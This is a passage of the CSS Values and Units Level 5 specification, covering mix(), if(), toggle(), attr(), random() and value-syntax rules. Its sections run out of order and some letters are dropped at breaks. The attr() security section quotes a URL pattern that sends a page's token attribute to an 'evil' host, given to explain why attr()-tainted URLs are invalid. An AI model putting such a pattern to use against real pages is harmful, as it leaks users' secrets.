mputed values to that progress value(in other words, A * (1-progress) + B * progress)it is otherwise the calc-mix() notation itselfwith its arguments each computed according to their type. 6.3. Interpolated Color Values: the color-mix() notation This specification extends the color-mix() functional notation as a mix notation accepting the following syntaxes:color-mix() = color-mix( [ progress && color-interpolation-method? ] , color, color ) | color-mix( color-interpolation-method, [color && percentage [0,100]?]#{2} ) The used value of the first mix notation variantis equivalent to assigning the progress value,as a percentage,to the percentage of the second color argument in the second variant. That is, color-mix(progress, color1, color2) is equivalent to color-mix(color1, color2 progress). See CSS Color 5 § 3 Mixing Colors: the color-mix() Function for the normative definition of the second variant. progress allows returning percentages outside 0-100%,but color-mix() doesn’t allows such values,so need to define how that gets processed. 6.4. Interpolated Image Values: the cross-fade() notation This specification extends the cross-fade() functional notation as a mix notation accepting the following syntaxes:cross-fade() = cross-fade( progress, [ image | color ], [ image | color ] ) | cross-fade( cf-image# ) The used value of the first mix notation variantis equivalent to assigning the progress v

lueas the percentage of the second color argument in the second variant. That is, cross-fade(progress, image1, image2) is equivalent to cross-fade(image1, image2 progress). See CSS Images 4 § 2.6 Combining images: the cross-fade() notation for the normative definition of the second variant. 6.5. Interpolated Transform Values: the transform-mix() notation The transform-mix() mix notation represents an interpolated transform-list,with the following syntactic form:transform-mix() = transform-mix( progress, transform-list, transform-list ) The used value of a valid transform-mix() isthe result of interpolating these two valuesto the progress given by progress.If the progress value can be computed to a percentage,and the transform-lists can be interpolatedwithout used-value-time information,then the computed value is likewisethe result of interpolating the two computed values to that progress value;it is otherwise the transform-mix() notation itselfwith its arguments each computed according to their type. transform-mix() is, itself, a transform-function. 6.6. Interpolated Property Values: the mix() notation Interpolation of any two property values can be representedby the mix() mix notation,which supports two alternative syntax patterns:mix() = mix( progress , whole-value , whole-value ) | mix( progress && of keyframes-name ) The first syntax alternative, like other mix notations,interpolates betwe

n the first whole-value (its mix start value)and the second whole-value (its mix end value).The second uses the mix progress value to interpolate the corresponding property declarations from a set of keyframes,allowing for more complex interpolation curves. For the standard mix notation variant,if the two whole-values being interpolated by mix() are interpolable as values for the property in which it is specified,and the interpolated value can be represented without mix(),the computed value of mix() isthe result of interpolating these two valuesto the progress given by progress.Otherwise,the computed value of mix() isthe mix() functional notation itselfwith its progress value computedand its whole-values (if provided)computed as values for this property. For example, most uses of mix() will resolve at computed-value time: color: mix(90%, red, blue);/* via simple interpolation, computes to: */color: rgb(10% 0 90%);color: mix(90%, currentcolor, black);/* can’t be fully resolved at computed-value time, but still has a defined representation: */color: color-mix(currentcolor 90%, black 10%);float: mix(90%, left, right);/* discretely animatable */float: right; But a few cases don’t have an intermediate representation:transform: mix(90%, translate(calc(1em + 50%)), rotate(30deg));/* because functions don’t match, it will interpolate via matrix(). But translate(%) needs layout information to turn into a matrix(), so the in

erpolated value can’t actually be represented. Computes to: */transform: mix(90%, translate(calc(16px + 50%)), rotate(30deg));transform: mix(90% of ripple); The mix() notation is a whole-value.Additionally,if any of its whole-value arguments are not animatable,the notation is invalid. For example, the following declarations are invalid,and will be ignored: /* Invalid start value */color: mix(90%, #invalid, #F00);/* Function is mixed with other values */background: url(ocean) mix(10%, blue, yellow);/* animation-* is not animatable */animation-delay: mix(0%, 0s, 2s); 7. Miscellaneous Value Substituting Functions 7.1. Representing An Entire Property Value: the whole-value type Several functions defined in this specificationcan only be used as the "whole value" of a property.For example, background-position: toggle(50px 50px, center); is valid,but background-position: toggle(50px, center) 50px; is not.The whole-value production represents these values. All properties implicitly accept a whole-value as their entire value,just as they accept the CSS-wide keywords as their entire value. When used as a component value of a function, whole-value also represents any CSS valuenormally valid as the whole valueof the property in which it is used(including additional whole-value functions).However, some functions may restrictwhat a whole-value argument can include. 7.2. Selecting the First Supported Value: th

first-valid() notation CSS supports progressive enhancement with its forward-compatible parsing:authors can declare the same property multiple times in a style rule,using different values each time,and a CSS UA will automatically use the last one that it understandsand throw out the rest.This principle, together with the @supports rule,allows authors to write stylesheets that work wellin old and new UAs simultaneously. However, using var() (or similar substitution functions that resolve after parsing)thwarts this functionality;CSS UAs must assume any such property is valid at parse-time. The first-valid() functional notation inlines the fallback behaviorintrinsic to parsing declarations.Unlike most notations,it can accept any valid or invalid syntax in its arguments,and represents the first value among its argumentsthat is supported (parsed as valid) by the UAas the whole value of the property it’s used in.first-valid() = first-valid( declaration-value# ) If none of the arguments represent a valid value for the property,the property is invalid at computed-value time. first-valid() is a whole-value. Should this have a different name?We didn’t quite decide on it during the resolution to add this. Note: Despite effectively taking whole-values as its argument, first-valid() is instead defined to take declaration-valuesbecause, by definition,it’s intended to be used in cases where its values might be invalid for the de

laration it’s in. declaration-value imposes no contextual validity constraints on what it matches,unlike whole-value. 7.3. Conditional Value Selection: the if() notation The if() notation is an arbitrary substitution function that represents conditional values.Its argument consists of an ordered semi-colon–separated list of statements,each consisting of a conditionfollowed by a colonfollowed by a value.An if() notation representsthe value corresponding to the first condition in its argument list to be true;if no condition matches,then the if() notation represents an empty token stream. The if() notation syntax is defined as follows:if() = if( [ if-condition : declaration-value? ; ]* if-condition : declaration-value? ;? )if-condition = boolean-expr[ if-test ] | elseif-test = supports( [ supports-condition | ident : declaration-value ] ) | media( media-query ) | style( style-query ) The else keyword representsa condition that is always true. To resolve an if() function,return the declaration-value?associated with the first if-condition that is true;if none are true,return nothing (an empty token stream). Note: Unlike using @media/@supports/@container rules,which just ignore their contents when they’re falseand let the cascade determine what values otherwise apply,declarations with if() do not roll back the cascade if the conditions are false;any fallback values must be provided i

line. 7.4. Toggling Between Values: the toggle() notation The toggle() expression allows descendant elementsto cycle over a list of values instead of inheriting the same value. The following example makes em elements italic in general,but makes them normal if they’re inside something that’s italic: em { font-style: toggle(italic, normal); } The following example cycles markers for nested lists,so that a top level list has disc-shaped markers,but nested lists use circle, then square, then box,and then repeat through the list of marker shapes,starting again (for the 5th list deep) with disc. ul { list-style-type: toggle(disc, circle, square, box); } The syntax of the toggle() expression is:toggle() = toggle( whole-value# ) The toggle() notation is a whole-value.However, it is not allowed to be nested,nor may it contain attr() or calc() notations;declarations containing such constructs are invalid. The following toggle() examples are all invalid: background-position: 10px toggle(50px, 100px);/* toggle() must be the sole value of the property */list-style-type: toggle(disc, 50px);/* 50px isn’t a valid value of list-style-type */ To determine the computed value of toggle(),first evaluate each argument as if it were the sole value of the property in which toggle() is placedto determine the computed value that each represents,called Cn for the n-th argument to toggle().Then, compare the property

s inherited value with each Cn.For the earliest Cn that matches the inherited value,the computed value of toggle() is Cn+1.If the match was the last argument in the list,or there was no match,the computed value of toggle() is the computed value that the first argument represents. Note: This means that repeating values in a toggle() short-circuits the list.For example toggle(1em, 2em, 1em, 4em) will be equivalent to toggle(1em, 2em). Note: That toggle() explicitly looks at the computed value of the parent,so it works even on non-inherited properties.This is similar to the inherit keyword,which works even on non-inherited properties. Note: That the computed value of a property is an abstract set of values,not a particular serialization [CSS21],so comparison between computed values should always be unambiguous and have the expected result.For example,a Level 2 background-position computed valueis just two offsets, each represented as an absolute length or a percentage,so the declarations background-position: top center and background-position: 50% 0% produce identical computed values.If the "Computed Value" line of a property definition seems to define something ambiguous or overly strict,please provide feedback so we can fix it. If toggle() is used on a shorthand property,it sets each of its longhands to a toggle() valuewith arguments corresponding to what the longhand would have receivedhad each of the original toggle() arguments

been the sole value of the shorthand. For example, the following shorthand declaration: margin: toggle(1px 2px, 4px, 1px 5px 4px); is equivalent to the following longhand declarations:margin-top: toggle(1px, 4px, 1px);margin-right: toggle(2px, 4px, 5px);margin-bottom: toggle(1px, 4px, 4px);margin-left: toggle(2px, 4px, 5px); Note that, since 1px appears twice in the top margin and 4px appears twice in bottom margin,they will cycle between only two valueswhile the left and right margins cycle through three.In other words, the declarations above will yield the same computed valuesas the longhand declarations below:margin-top: toggle(1px, 4px);margin-right: toggle(2px, 4px, 5px);margin-bottom: toggle(1px, 4px);margin-left: toggle(2px, 4px, 5px); which may not be what was intended. 7.5. Custom Property References: the var() notation The var() notation substitutes the value of a custom property,see the CSS Custom Properties for Cascading Variables Module. [CSS-VARIABLES] 7.6. Inherited Value References: the inherit() notation Like the inherit keyword, the inherit() functional notation resolves to the computed value of a property on the parent.Rather than resolving to the value of the same property, however,it resolves to the tokenized computed value of the property specified as its first argument.Its second argument, if present, is used as a fallbackin case the first argument resolves to the guaranteed-invalid valu

. inherit() is an arbitrary substitution function whose syntax is defined as:inherit() = inherit( custom-property-name, declaration-value? ) To resolve an inherit() function,return the inherited value of the custom property specified by the first argument,and (if specified) the fallback specified by the second argument. Note: Future levels of CSS may allow specifying standard CSS properties in inherit();however because the tokenization of computed values is not fully standardized for all CSS properties,this feature is deferred from Level 5.Note that the computed value differs from the used value,and is not always the resolved value returned by getComputedStyle();thus even if inherit(width) were allowed,it would frequently return the keyword auto, not the used length. 7.7. Attribute References: the attr() notation The attr() function substitutes the value of an attribute on an element into a property,similar to how the var() functionsubstitutes a custom property value into a function.attr() = attr( attr-name syntax? , declaration-value?)attr-name = [ ident-token | ]? ident-token The arguments of attr() are: attr-name Gives the name of the attribute being referenced,similar to wq-name (from [SELECTORS-3])but without the possibility of a wildcard prefix. If no namespace is specified(just an identifier is given, like attr(foo)),the null namespace is implied.(This is usually what’s desired,as namespaced

attributes are rare.In particular, HTML and SVG do not contain namespaced attributes.)As with attribute selectors,the case-sensitivity of attr-name depends on the document language. If attr() is used in a property applied to an element,it references the attribute of the given name on that element;if applied to a pseudo-element,the attribute is looked up on the pseudo-element’s originating element. syntax Specifies how the attribute value is parsed into a CSS value.Values that fail to parse according to the syntaxtrigger fallback. Omitting the syntax argumentcauses the attribute’s literal valueto be treated as the value of a CSS string,with no CSS parsing performed at all(including CSS escapes, whitespace removal, comments, etc). Note: This is different from specifying a syntax of *,which still triggers CSS parsing(but with no requirements placed on itbeyond that it parse validly),and which substitutes the result of that parsing directly,rather than as a string value. declaration-value Specifies a fallback value for the attr(),which will be substituted instead of the attribute’s valueif the attribute is missingor fails to parse as the specified type. If the syntax argument is omitted,the fallback defaults to the empty string if omitted;otherwise, it defaults to the guaranteed-invalid value if omitted. If a property contains one or more attr() functions,and those functions are syntactically valid,the entire property’s g

ammar must be assumed to be valid at parse time.It is only syntax-checked at computed-value time,after attr() functions have been substituted. Note that the default value need not be of the type given.For instance, if the type required of the attribute by the author is number px,the default could still be auto,like in width: attr(size number px, auto);. This example shows the use of attr() to visually illustrate datain an XML file: stock wood length="12"/ wood length="5"/ metal length="19"/ wood length="4"//stockstock::before { display: block; content: "To scale, the lengths of materials in stock are:";}stock * { display: block; width: attr(length number em, 0px); height: 1em; border: solid thin; margin: 0.5em;}wood { background: orange url(wood.png);}metal { background: silver url(metal.png);} 7.7.1. Attribute Value Substitution: the attr() notation attr() is an arbitrary substitution function,similar to var(),and so is replaced with the value it represents (if possible)at computed value time;otherwise, it’s replaced with the guaranteed-invalid value,which will make its declaration invalid at computed-value time. To resolve an attr() function: Let el be the element that the style containing the attr() functionis being applied to.Let attr name be the attribute name specified in the function.Let syntax be the syntax specified in the function,or null if it was omitted.Let f

llback be the declaration-value? argument specified in the function,or the guaranteed-invalid value if it was omitted. If there is no attribute named attr name on el,return the guaranteed-invalid value and fallback.Otherwise, let attr value be that attribute’s value. If syntax is null,return a CSS string whose value is attr value. Note: No parsing or modification of any kind is performed on the value. Parse with a syntax attr value, with syntax and el.Return the result and fallback. 7.7.2. Security An attr() function can reference attributesthat were never intended by the page to be used for styling,and might contain sensitive information(for example, a security token used by scripts on the page). In general, this is fine.It is difficult to use attr() to extract information from a pageand send it to a hostile party,in most circumstances.The exception to this is URLs.If a URL can be constructed with the value of an arbitrary attribute,purely from CSS,it can easily send any information stored in attributesto a hostile party,if 3rd-party CSS is allowed at all. To guard against this,the values produced by an attr() are considered attr()-tainted,as are functions that contain an attr()-tainted value. Registered custom properties containing attr() maintain the attr()-taint on their attr()-tainted valuesacross var() substitution. Using an attr()-tainted value as or in a url makes a declaration

nvalid at computed-value time. For example,all of the following are invalid: background-image: src(attr(foo)); - can’t use it directly. background-image: image(attr(foo)) - can’t use it in other url-taking functions. background-image: src(string("http://example.com/evil?token=" attr(foo))) - can’t "launder" it thru another function. --foo: attr(foo); background-image(src(var(--foo))) (assuming that --foo is a registered custom property with string syntax) - can’t launder the value thru another property, either. However, using attr() for other purposes is fine,even if the usage is near a url: background-image: image("foo.jpg", attr(bgcolor color)) is fine;the attr() is providing a fallback color,and the url isn’t attr()-tainted. Note: Implementing this restrictionrequires tracking a dirty biton values constructed from attr() values,since they can be fully resolved into a stringvia registered custom properties,so you can’t rely on just examining the value expression.Note that non-string types can even trigger this,via functions like string() that can stringify other types of values: --foo: attr(foo number); background-image: src(string(var(--foo))) needs to be invalid as well. 8. Generating Random Values It is often useful to incorporate some degree of "randomness" to a design,either to make repeated elements on a page feel less static and identical,or just to

dd a bit of "flair" to a page without being distracting. The random() and random-item() functions(the random functions)allow authors to incorporate randomness into their page,while keeping this randomness predictable from a design perspective,letting authors decide whether a random value should be reused in several placesor be unique between instances. The exact random-number generation method is UA-defined.It should be the case that two distinct random valueshave no easily-detectable correlation,but this specification intentionally does not specify what that meansin terms of cryptographic strength.Authors must not rely on random functions for any purposes that depend on quality cryptography. 8.1. Generating a Random Numeric Value: the random() function The random() function is a math function that represents a random value between a minimum and maximum value,drawn from a uniform distribution,optionally limiting the possible values to a step between those limits:random() = random( random-caching-options? , calc-sum, calc-sum, [by calc-sum]? )random-caching-options = dashed-ident || per-element Its arguments are: random-caching-options The optional random-caching-options provides some control over whether a given random() functionresolves similarly or differently to other random()s on the page.See § 8.3 Generating/Caching Random Values: the random-caching-options value for details. By default, rand

m() resolves to a single value,shared by all elements using that style,and two random() functions with identical argumentswill resolve to the same random value. Providing a dashed-ident does nothing,but can make the argument lists distinctbetween two or more otherwise-identical random() functions,so they’ll generate distinct values. The per-element keyword causes the random() functionto generate a different value on each element the function is applied to,rather than resolving to a single value per usage in the stylesheet. calc-sum, calc-sum The two required calculations specify the minimum and maximum valuethe function can resolve to.Both limits are inclusive(the result can be the min or the max). If the maximum value is less than the minimum value,it behaves as if it’s equal to the minimum value. For example, random(100px, 300px) will resolve to a random length between 100px and 300px:it might be 100px, 300px, or any value between them like 234.5px. by calc-sum The final optional argumentspecifies a step value:the values the function can resolve toare further restricted to the form min + (N * step),where N is a non-negative integerchosen uniformly randomly from the possible valuesthat result in an in-range value. For example, random(100px, 300px, by 50px) can only resolve to 100px, 150px, 200px, 250px, or 300px;it will never return a value like 120px. While the minimum value is a

ways a possible result,the maximum value isn’t always,if it’s not also a multiple of the step from the minimum.For example, in random(100px, 300px, by 30px),the largest possible value it can resolve to is 280px,6 steps from the minimum value. Note that rounding issues might have an effect here:in random(100px, 200px, by 100px / 3) you’ll definitely get three possible values(100px, and approximately 133.33px and 166.67px),but whether 200px is possible depends on rounding precision.To be safe, you can put the maximum value slightly above where you expect the final step to land,like random(100px, 201px, by 100px / 3). As explained in the definition of round(),CSS has no "natural" precision for values,but the step value can be used to assign one. For example, random(100px, 500px, by 1px) restricts it to resolving only to whole px values; random(1, 10, by 1) is restricted to resolving only to integers;etc. Note: The definition of the step does not allowfor naively generating a random value in the rangeand then rounding it to the nearest step value,as that can result in the values not appearing with the same weights.For example, random(100px, 200px, by 50px) has to generate the three possible values each with a 1/3 chance;a naive rounding-based method will instead incorrectly generate 150px twice as often as the boundary values. All of the calculation arguments can resolve to any number, dimension, or percentag

but must have the same type, or else the function is invalid;the result will have the same type as the arguments. For example, random(50px, 100%, by 1em) is valid(assuming percentages are valid in the context this is used,and resolve to a length),as all three arguments resolve to a length. However, random(50px, 180deg) is invalid,as lengths and angles are not the same type. A random() function can be simplified as soon as its argument calculations can be simplified to numeric values. Note: This means that random() is usually resolvedby computed value time,and thus will inherit as a static numeric value.However, if the argument calculations aren’t resolveduntil used value time(such as if they include percentage valuesthat require layout information to resolve), inheritance will transfer the random() function itself.(This is no different, however, to the behavior of the percentages themselves,which would inherit as percentagesand thus might resolve to different values on the child elements.) At least in theory it should be fine to use random() in non-property contexts,so long as per-element isn’t specified;it’s well-defined what happens with @media (max-width: random(100px, 500px)) {...},for example.I suspect we want to disallow it, tho? 8.1.1. Argument Ranges In random(A, B, by C),if A or B is infinite,the result is NaN.If C is infinite,the result is A. (If C is zero or negative,the r

sult is A,but that falls out of the standard definition.) Note: As usual for math functions,if any argument calculation is NaN,the result is NaN. 8.2. Picking a Random Item From a List: the random-item() function The random-item() functionresolves to a random itemfrom among its list of items.random-item() = random-item( random-caching-options , [ declaration-value? ]# ) The required random-caching-options is interpreted identically to random().(See § 8.3 Generating/Caching Random Values: the random-caching-options value for details.) Like random(),the dashed-ident can be used to force similar random-item() functionsto generate distinct random values,and per-element causes it to resolve to a distinct value on each element. Aside from these,the grouping of random-item() functions as "identical"is much simpler:all that matters is the number of arguments. That is, random-item(--x, red, blue, green) and random-item(--x, 1, 2, 3) will always resolve to the same argument index:either red and 1, or blue and 2, or green and 3.This allows coordination between groups of propertiesthat all want to use a random set of values. On the other hand, random-item(--x, red, blue, green) and random-item(--x, 1, 2, 3, 4) will have no connection to each other;any of the 12 possible combinations can occur. Note: The random-caching-options argument is required in random-item(),but optional in random(),

tboth for parsing reasons(it’s impossible to tell whether random-item(--foo, --bar, --baz) has three declaration-value argumentsor two and a random-caching-options argument),and because accidentally associating the random generation of random-item() functions togetheris much easier to do accidentally,since only the number of arguments is used to distinguish instances. The remaining arguments are arbitrary sequences of CSS values.The random-item() function resolves to one of these sequences,chosen uniformly at random. The random-item() function is an arbitrary substitution function,like var(). That is, if you use random-item(): So long as random-item() itself (and any other arbitrary substitution functions)is syntactically valid,the entire property is assumed to be valid at parse time. random-item() is substituted with whatever value it resolves toat computed value timewhen you’d substitute a var(),so children all inherit the same resolved value. If the substituted value ends up making the property invalid,the property’s value becomes the guaranteed-invalid value. Define arbitrary substitution function,probably over in Variables,since we have several upcoming functions leaning on this functionality. Since random-item() is var()-like,we probably want to restrict it to only be usable in properties.(This is likely something we want to apply to all such functions.)Tho random() is a fundament

lly different kind of value,we probably want to restrict it as well,for thematic consistency. 8.3. Generating/Caching Random Values: the random-caching-options value In a programming language like JavaScript,there’s a clear temporal ordering to code,so you can tell exactly when something like a call to Math.random() is evaluated.You can also store the results in a variable,making it clear when you’re reusing a single random value in multiple places,versus using a distinct random value in each location. CSS, on the other hand, is a declarative language(code is not "executed" in any particular order,nor is there any control over how many times something is "executed");it makes it very easy to apply identical styles to multiple elementsbut difficult to specify distinct values for each of them(making it unclear whether a property using random() is meant to resolve to the same value on each element it’s applied toor to distinct values on each);and it has very limited "variable" functionality(making it difficult to intentionally reuse a particular randomly-generated value in several places). To resolve these issues,the random() and random-item() functions are defined to generate random valuesunder the following caching semantics: Each instance of random() or random-item() in a stylesheetspecifies a random-caching key.Two instances of either function must resolve to identical valuesif their random-caching keys are identical;t

ey must resolve to distinct valuesif they’re different. ("Distinct" here means generated by a fresh random operation;this might coincidentally result in the same value as another random operation.) For random(),the random-caching key is a tuple of: The used value of the minimum calculation. The used value of the maximum calculation. The used value of the step calculation, if present,or null otherwise. The dashed-ident part of the random-caching-options, if present,or null otherwise. If per-element is specified in the random-caching-options,a unique value per element or pseudo-element the function appears in. For random-item(),the random-caching key is a tuple of: The number of arguments to the function. The dashed-ident part of the random-caching-options, if present,or null otherwise. If per-element is specified in the random-caching-options,a unique value per element or pseudo-element the function appears in. The "unique value per element or pseudo-element" must have the same lifetimeas a JavaScript reference to the element(or to the originating element + sufficient additional info to uniquely identify the pseudo-element).Elements in separate documents(including across refreshes of the same page,which produces distinct documents with distinct elements) should have distinct unique values.(This is not strictly re

uired,to allow for pseudo-random generation of these values,but uniqueness should be likely enoughthat authors cannot depend on elements having the same values across documents.) Additionally, the random generation method should generate distinct values for the same operationwhen invoked on different documents(including refreshes of the same page). For example, in the following stylesheet: .random-square { width: random(100px, 500px); height: random(100px, 500px);} The random-caching keys for both functions are identical: (100px, 500px, null, null, null).This means that both will resolve to the exact same value,guaranteeing a square elementwith a size somewhere between 100px and 500px.Additionally, every .random-square elementwill have the same size. On other hand, in this stylesheet:.random-rect { width: random(100px, 500px); height: random(--x, 100px, 500px);} The random-caching keys are distinct between the two functions:the function in width has (100px, 500px, null, null, null),while the function in height has (100px, 500px, null, --x, null). This means the two functions will resolve to distinct random values,making it very unlikely for the element to be square.However, every element matching .random-rect will still have the same random size. Changing any aspect of the function also alters this key.The following two declarations are similarly distinct,resulting in the width and height havi

g no connection to each other:.random-rect-2 { width: random(100px, 500px); height: random(100px, 500px, by 50px);} But so long as the used values end up identical,two functions that look distinct might end up identical.For example, in the following code:.random-square-2 { font-size: 16px; width: random(160px, 320px); height: random(10em, 20em);} The two functions superficially look different,but after the lengths are fully resolvedthey end up with identical random-caching keys;each is (160px, 320px, null, null, null),so actually the widths and heights will end up always identical. By default, each instance of a random() function in a stylesheetessentially resolves to a static value,which is then shared by every element that property applies to.This behavior can be changed with the per-element keyword. For example, in:.foo { width: random(100px, 500px); } Multiple elements matching .foo will end up with the same random width. But in:.foo { width: random(per-element, 100px, 500px); } Every element matching .foo will get its own unique width. Note that this causes the value to be unique per element,not per value necessarily.For example, in:.random-squares { width: random(per-element, 100px, 500px); height: random(per-element, 100px, 500px);} Every element matching .random-squares will get a distinct random value,but that value will be the same for width and height on a given element,

aking the element square.This is because in both propertiesthe random-caching key is (100px, 500px, null, null, [unique value for the element]),so both functions will resolve to the same length on a single element. This makes random values in custom properties act more predictably.The preceding code could also be written as:.foo { --size: random(per-element, 100px, 500px); width: var(--size); height: var(--size);} 9. Tree Counting Functions: the sibling-count() and sibling-index() notations The sibling-count() functional notation represents,as an integer,the total number of child elements in the parent of the element on which the notation is used. The sibling-index() functional notation represents,as an integer,the index of the elementon which the notation is usedamong the children of its parent.Like :nth-child(), sibling-index() is 1-indexed. Note: The counter() function can provide similar abilities as sibling-index(),but returns a string rather than an integer. When used on a pseudo-element,these both resolve as if specifiedon its ultimate originating element. Note: Like the rest of CSS (other than selectors), sibling-count() and sibling-index() operate on the flat tree. Note: These functions may, in the future,be extended to accept an of selector argument,similar to :nth-child(),to filter on a subset of the children

Introduction This is a diff spec against CSS Values and Units Level 4. 1.1. Module Interactions This module extends [CSS-VALUES-4] which replaces and extends the data type definitions in [CSS21] sections 1.4.2.1, 4.3,and A.2. 2. Textual Data Types See CSS Values 4 § 4 Textual Data Types. 3. Value Definition Syntax See CSS Values 4 § 2 Value Definition Syntax. Additionally, Boolean combinations of a conditional notation.These are written using the boolean-expr[] notation,and represent recursive expressions of boolean logicusing keywords and parentheses,applied to the grammar specified in brackets,e.g. boolean-expr[ ( <media-feature> ) ] to express media queries. 3.1. Functional Notation Definitions See CSS Values 4 § 2.6 Functional Notation Definitions. 3.1.1. Commas in Function Arguments Functional notation often uses commasto separate parts of its internal grammar.However, some functions(such as mix())allow values that, themselves,can contain commas.These values(currently whole-value, declaration-value, and any-value)are comma-containing productions. To accommodate these sorts of grammars unambiguously,the comma-containing productions can be optionally wrapped in curly braces {}.These braces are syntactic, not part of the actual value.Specifically: A comma-containing production can either start with a "{" token, or not. If it does not start with

"{" token,then it cannot contain commas or {} blocks,in addition to whatever specific restrictions it defines for itself.(The production stops parsing at that point,so the comma or {} block is matched by the next grammar term instead;probably the function’s own argument-separating comma.) If it does start with a "{" token,then the production matches just the {} block that the "{" token opens.It represents the contents of that block,and applies whatever specific restrictions it defines for itselfto those contents,ignoring the {} block wrapper. For example, the grammar of the random-item() function is: random-item( random-caching-options, [declaration-value?]# ) The # indicates comma-separated repetitions,so randomly choosing between three keywordswould be written as normal for functions,like:font-family: random-item(--x, serif, sans-serif, monospace); However, sometimes the values you want to choose betweenneed to include commas.When this is the case,wrapping the values in {}allows their commas to be distinguishedfrom the function’s argument-separating commas:font-family: random-item(--x, {Times, serif}, {Arial, sans-serif}, {Courier, monospace}); This randomly chooses one of three font-family lists:either Times, serif, or Arial, sans-serif, or Courier, monospace. This is not all-or-nothing;you can use {} around some arguments that need it,while leaving others bare when they don’t need it.You are

also allowed to use {} around a value when it’s not strictly required.For example:font-family: random-item(--x, {Times, serif}, sans-serif, {monospace}); This represents choosing between three font-family lists:either Times, serif, or sans-serif, or monospace. However, this {}-wrapping is only allowed for some function arguments—​those defined as comma-containing productions.It’s not valid for any other productions;if you use {} around other function arguments,it’ll just fail to match the function’s grammarand become invalid.For example, the following is invalid:background-image: linear-gradient(to left, {red}, magenta); Note: Because {} wrappers are allowed even when not explicitly required,they can be used defensively around valueswhen the author isn’t sure if they’ll end up containing commas or not,due to arbitrary substitution functions like var().For example, font-family: random-item(--x, {var(--list1)}, monospace) will work correctlyregardless of whether the --list1 custom propertycontains a comma-separated list or not. Functional notations are serialized without {} wrappers whenever possible. The following generic productions are comma-containing productions: any-value whole-value declaration-value For legacy compat reasons,the declaration-value defined the fallback value for var() is a non-strict comma-containing production.It ignores the rules restricting what it can co

tainwhen it does not start with a "{" token:it is allowed to contain commas and {} blocks.It still follows the standard comma-containing production ruleswhen it does start with a "{" token, however:the fallback is just the contents of the {} block,and doesn’t include the {} wrapper itself. Other contexts may define that they use non-strict comma-containing productions,but it should be avoided unless necessary. 3.2. Boolean Expression Multiplier boolean-expr[] Several contexts(such as @media, @supports, if(), ...)specify conditions,and allow combining those conditions with boolean logic (and/or/not/grouping).Because they use the same non-trivial recursive syntax structure,the special boolean-expr[] production represents this pattern generically. The boolean-expr[] notation wraps another value type in the square brackets within it,e.g. boolean[ test ],and represents that value type alone as well asboolean combinationsusing the not, and, and or keywordsand grouping parenthesis.It is formally equivalent to:boolean-expr[ test ] = not boolean-expr-group | boolean-expr-group [ [ and boolean-expr-group ]* | [ or boolean-expr-group ]* ]boolean-expr-group = test | ( boolean-expr[ test ] ) | general-enclosed The boolean-expr[] production represents a true, false, or unknown value.Its value is resolved using 3-value Kleen

logic,with top-level unknown values(those not directly nested inside the grammar of another boolean-expr[])resolving to false unless otherwise specified;see Appendix B: Boolean Logic for details. For example, the @container rule allows a wide variety of tests:including size queries, style queries, and scroll-state queries.All of these are arbitrarily combinable with boolean logic.Using boolean-expr[], the grammar for an @container querycould be written as: container-query = boolean-expr[ cq-test ]cq-test = (size-query) | style( style-query ) | scroll-state( scroll-state-query )size-query = boolean-expr[ ( size-feature ) ] | size-featurestyle-query = boolean-expr[ ( style-feature ) ] | style-featurescroll-state-query = boolean-expr[ ( scroll-state-feature ) ] | scroll-state-feature The general-enclosed branch of the logic allows for future compatibility—​unless otherwise specified new expressions in an older UAwill be parsed and considered “unknown”,rather than invalidating the production.For consistency with that allowance,the test term in a boolean-expr[] should be defined to match general-enclosed. 3.3. Specifying CSS Syntax in CSS: the syntax type Some features in CSS,such as the attr() functionor registered custom properties,allow you to specify how another value is meant to be parsed.This is declared via the syntax production,which resembles a limited form of the CSS va

ue definition syntax used in specifications to define CSS features,and which represents a syntax definition:syntax = * | syntax-component [ syntax-combinator syntax-component ]* | syntax-stringsyntax-component = syntax-single-component syntax-multiplier? | transform-list syntax-single-component = syntax-type-name | identsyntax-type-name = angle | color | custom-ident | image | integer | length | length-percentage | number | percentage | resolution | string | time | url | transform-functionsyntax-combinator = |syntax-multiplier = [ # | + ]syntax-string = string A syntax-component consists of eithera syntax-type-name between (angle brackets),which maps to one of the supported syntax component names,or an ident, which represents any keyword.Additionally,a syntax-component may contain a multiplier,which indicates a list of values. Note: This means that length and length are two different types:the former describes a length,whereas the latter describes a keyword length. Multiple syntax-components may be combined with a | delim-token,causing the syntax components to be matchedagainst a valuein the specified order. percentage | number | auto The above, when parsed as a syntax,would accept percentage values, number values,as well as the keyword auto. red | color The syntax def

nition resulting from the above syntax,when used as a grammar for parsing,would match an input red as an identifier,but would match an input blue as a color. The * delim-token represents the universal syntax definition. The transform-list productionis a convenience form equivalent to transform-function+. Note that transform-list may notbe followed by a syntax-multiplier. Whitespace is not allowedbetween the angle bracket delim-tokens ( )and the syntax-type-name they enclose,nor is whitespace allowed to precede a syntax-multiplier. Note: The whitespace restrictions also apply to transform-list. A syntax-string is a string whose value successfully parses as a syntax,and represents the same value as that syntax would. Note: syntax-string mostly exists for historical purposes;before syntax was defined,the @property rule used a string for this purpose. 3.3.1. Parsing as syntax The purpose of a syntax is usually to specify how to parse another value(such as the value of a registered custom property,or an attribute value in attr()).However, the generic parse something according to a CSS grammar algorithmreturns an unspecified internal structure,since parse results might be ambiguousand need further massaging. To avoid these issues and get a well-defined result,use parse with a syntax: To parse with a syntax given a string or list or component values values,a syntax value syntax,and optionally an

element el for context,perform the following steps.It returns either CSS values,or the guaranteed-invalid value. Parse a list of component values from values,and let raw parse be the result. If el was given, substitute arbitrary substitution functions in raw parse,and set raw parse to that result. parse values according to syntax,with a * value treated as declaration-value?,and let parsed result be the result.If syntax used a | combinator,let parsed result be the parse result from the first matching clause. If parsed result is failure,return the guaranteed-invalid value. Assert: parsed result is now a well-defined list of one or more CSS values,since each branch of a syntax defines an unambiguous parse result(or the * syntax is unambiguous on its own). Return parsed result. Note: This algorithm does not resolved the parsed valuesinto computed values;the context in which the value is used will usually do that already,but if not,the invoking algorithm will need to handle that on its own. 4. Extensions to Level 4 Value Types See CSS Values and Units Level 4. 4.1. Resource Locators: the url type See CSS Values 4 § 4.5 Resource Locators: the url type. 4.1.1. Request URL Modifiers request-url-modifiers are url-modifiersthat affect the url’s resource request by applying associated URL request modifier steps.See CSS Values 4 § 4.5.4 URL Processing Model. This specificati

